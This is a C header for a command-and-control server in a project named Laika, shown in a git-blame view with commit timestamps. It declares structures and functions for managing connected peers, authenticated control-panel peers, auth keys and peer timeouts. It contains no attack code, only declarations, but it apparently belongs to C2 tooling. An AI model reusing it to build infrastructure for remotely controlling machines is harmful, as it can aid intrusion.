2022-01-24 03:28:16 +00:00
|
|
|
#ifndef LAIKA_CNC_H
|
|
|
|
#define LAIKA_CNC_H
|
|
|
|
|
2022-09-02 01:00:37 +00:00
|
|
|
#include "core/hashmap.h"
|
|
|
|
#include "core/lmem.h"
|
|
|
|
#include "core/ltask.h"
|
2022-01-24 03:28:16 +00:00
|
|
|
#include "laika.h"
|
2022-09-02 01:00:37 +00:00
|
|
|
#include "net/lpacket.h"
|
|
|
|
#include "net/lpeer.h"
|
|
|
|
#include "net/lpolllist.h"
|
|
|
|
#include "net/lsocket.h"
|
2022-02-28 22:27:55 +00:00
|
|
|
|
2022-04-13 17:19:06 +00:00
|
|
|
/* kill peers if they haven't ping'd within a minute */
|
|
|
|
#define LAIKA_PEER_TIMEOUT 60 * 1000
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_cnc
|
|
|
|
{
|
2022-02-03 22:25:49 +00:00
|
|
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
2022-01-24 03:28:16 +00:00
|
|
|
struct sLaika_socket sock;
|
2022-01-24 16:34:30 +00:00
|
|
|
struct sLaika_pollList pList;
|
2022-06-27 23:57:00 +00:00
|
|
|
struct hashmap *peers; /* holds all peers, lookup using pubkey */
|
2022-09-02 00:12:13 +00:00
|
|
|
laikaM_newVector(struct sLaika_peer *, authPeers); /* holds connected panel peers */
|
|
|
|
laikaM_newVector(uint8_t *, authKeys);
|
2022-04-06 04:57:37 +00:00
|
|
|
uint16_t port;
|
2022-01-24 16:34:30 +00:00
|
|
|
};
|
|
|
|
|
|
|
|
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
|
|
|
|
void laikaC_freeCNC(struct sLaika_cnc *cnc);
|
|
|
|
|
2022-04-06 04:57:37 +00:00
|
|
|
void laikaC_bindServer(struct sLaika_cnc *cnc);
|
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
|
|
|
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type);
|
|
|
|
|
|
|
|
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
|
|
|
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-04-06 04:57:37 +00:00
|
|
|
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key);
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
|
|
|
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
|
|
|
|
|
|
|
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
|
2022-01-24 03:28:16 +00:00
|
|
|
|
2022-04-13 17:19:06 +00:00
|
|
|
/* kills peers who haven't ping'd in a while */
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
|
|
|
clock_t currTick, void *uData);
|
2022-04-13 17:19:06 +00:00
|
|
|
|
2022-08-03 20:20:00 +00:00
|
|
|
bool laikaC_iterPeersNext(struct sLaika_cnc *cnc, size_t *i, struct sLaika_peer **peer);
|
2022-04-13 17:19:06 +00:00
|
|
|
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
|
|
|
|
2022-08-03 20:20:00 +00:00
|
|
|
#endif
|